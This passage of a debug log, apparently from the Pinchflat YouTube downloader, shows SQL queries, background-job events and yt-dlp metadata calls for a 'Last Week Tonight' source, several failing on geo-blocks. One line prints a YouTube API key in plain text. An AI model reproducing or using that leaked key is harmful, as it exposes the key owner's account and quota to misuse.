m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [32, "M5wiw9524O8", "BlEgvswR_tw", "FL6p369Qt-c", "Ksk8tNzi_JQ", "9Gu7zGt6eyU", "FoMrNXZ-yVE", "yUnCteUmUZU", "UoEwFnHmxdo", "_vBqKPsY9CE", "BoNHLYHuXk0", "HKZ4PPq7gPA", "WU0eEZoPaZc", "RoGxFO90jCM", "la04Zg6-yxk", "f7SUrcf4pRE", "6r9_m_8lUD8", "9ELvj8Lq2OU", "oB3Z67186pw", "n4QtXC6J9-0", "BwmeE3CZ5rU", "uoMGUM6VGLg", "5gsKPcJ5RyU", "zjr91LZaAd0", "_JAhkZSZetY", "kGYd2Xjgv9o", "LpD2tUYfMQU", "QqVU5_EmuUU", "R3q9eWJ2Hd4", "msiu27F4vSg", "zCW_1dXRg2k", "XX4JRtVJ-Ls", "6sAhwJIXrKE", "j_hY0oeqbXI", "_c_m409RRBM", "UYKYIQhaj-0", "PKOrJjLnXbU", "D19jxGokuPQ", "aZeoYJBxzGo", "zso06uG6Vtc", "FSOvHJ-3quc", "BlWiOY_haEA", "-5f9L7UZ730", "KknaULuIjds", "5LuAW5CNjzw", "E7PkAVDcS2A", "RDllmPLV-T0", "4pHkSfgy9o4", "ZciRYLMZ5IA", "DTAMCqI104A", ...] 17:17:17.332 [debug] QUERY OK source="media_items" db=1.2ms idle=128.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [32] 17:17:17.333 [debug] QUERY OK source="tasks" db=0.1ms idle=129.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800179, 32, ~U[2026-02-10 23:17:17Z], ~U[2026-02-10 23:17:17Z]] 17:17:17.333 [info] {"args":{"id":32},"id":3800140,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":130919,"event":"job:stop","queue_time":999965,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:18.204 [info] {"args":{"id":6},"id":3800141,"meta":{},"system_time":1770765438204663198,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:18.205 [debug] QUERY OK source="sources" db=0.1ms idle=871.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 17:17:18.205 [debug] QUERY OK source="settings" db=0.1ms idle=871.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:18.205 [debug] QUERY OK source="media_profiles" db=0.1ms idle=865.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:17:18.205 [debug] QUERY OK source="settings" db=0.1ms idle=7.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:18.205 [debug] Fetching recent media IDs from YouTube API for playlist: UU3XTzVzaHQEd30rQbuvCtTQ 17:17:18.206 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:18.206 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:17:18.283 [debug] QUERY OK source="media_items" db=0.5ms idle=77.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [6, "PawUmci7JuU", "8xRgXlUF4vM", "dm5IwjiGT80", "2fH8RYbqSj8", "5T2clCWmo24", "JduzROpaMlw", "7hkuCkya9IQ", "EJHHiu9fB9A", "yknMJOgy2pA", "-iRUq-Dy7QE", "Dhe1E2vzziA", "SLVL_wg3Hz0", "gi4swT8LK1U", "l4-_ZmwoZbg", "Y93ljB7sfco", "LmmeWg_DHdc", "SUogDr7iOF4", "_94sC2k37vo", "zk_P1rSKR4g", "e_Sv2Jva5D0", "wVFXUkFx5Y8", "0qmNAOCgbgY", "vO4XdC2aOrU", "KcYKVB-0Vqw", "hNlJdQwvr3o", "-7ExqSFtKEM", "sl9IRn33Fig", "Mwc21oNdnaA", "Ejoi9yfLVCc", "73iQpsIE0i8", "m9ExweRMFAA", "s9FsxWK0f1A", "-xIQxzlXN-0", "cicEeYtFd1M", "a277Pg23Dao", "-6r-lAxhtv4", "bl6Ww92bb0o", "gieTx_P6INQ", "9iZK_DurYOo", "xQwGv4UYvbk", "88YixeXbRMo", "eHJwoYjTyyE", "SCv0hlq5iQY", "JOoHELC8w8M", "dB1-lg-xZWc", "NtHZ7IR88dg", "S9EVYaSa1Ws", "Wg8OcJopuBE", "z016SEN7HzE", ...] 17:17:18.283 [debug] QUERY OK source="settings" db=0.0ms idle=78.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:18.283 [debug] QUERY OK source="settings" db=0.0ms idle=78.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:18.283 [debug] Running yt-dlp command for action: get_media_attributes 17:17:18.296 [debug] QUERY OK source="settings" db=0.0ms idle=90.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:18.296 [debug] QUERY OK source="settings" db=0.0ms idle=90.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:18.297 [debug] QUERY OK source="settings" db=0.0ms idle=13.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:18.297 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=-iRUq-Dy7QE --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/dd/a7/dda72bb28abaa5097540d575ea5fef0ab469fcd8ae7f6a37af45556aea947068.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:17:19.852 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=-iRUq-Dy7QE --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/dd/a7/dda72bb28abaa5097540d575ea5fef0ab469fcd8ae7f6a37af45556aea947068.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] -iRUq-Dy7QE: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 17:17:19.852 [error] Error creating media item '-iRUq-Dy7QE' from URL: {:error, "ERROR: [youtube] -iRUq-Dy7QE: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 17:17:19.852 [debug] QUERY OK source="settings" db=0.1ms idle=1568.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:19.852 [debug] QUERY OK source="settings" db=0.0ms idle=1556.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:19.852 [debug] Running yt-dlp command for action: get_media_attributes 17:17:19.855 [debug] QUERY OK source="settings" db=0.0ms idle=1558.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:19.855 [debug] QUERY OK source="settings" db=0.0ms idle=1558.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:19.855 [debug] QUERY OK source="settings" db=0.1ms idle=655.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:19.855 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LmmeWg_DHdc --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/6a/dd/6add877e2661b0f4a1939418426487d63bb9f3bb051c943a0f260d59bc2f16c1.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:17:21.105 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LmmeWg_DHdc --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/6a/dd/6add877e2661b0f4a1939418426487d63bb9f3bb051c943a0f260d59bc2f16c1.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] LmmeWg_DHdc: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 17:17:21.105 [error] Error creating media item 'LmmeWg_DHdc' from URL: {:error, "ERROR: [youtube] LmmeWg_DHdc: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 17:17:21.106 [debug] QUERY OK source="settings" db=0.1ms idle=905.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:21.106 [debug] QUERY OK source="settings" db=0.0ms idle=227.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:21.106 [debug] Running yt-dlp command for action: get_media_attributes 17:17:21.107 [debug] QUERY OK source="settings" db=0.0ms idle=229.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:21.107 [debug] QUERY OK source="settings" db=0.0ms idle=229.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:21.107 [debug] QUERY OK source="settings" db=0.0ms idle=229.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:21.107 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=0qmNAOCgbgY --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/e9/1b/e91b78160ee4a6e22a0f3ac619ff97fcd1ad8125fe7fba174a704f03f97e20d7.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:17:22.495 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=0qmNAOCgbgY --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j 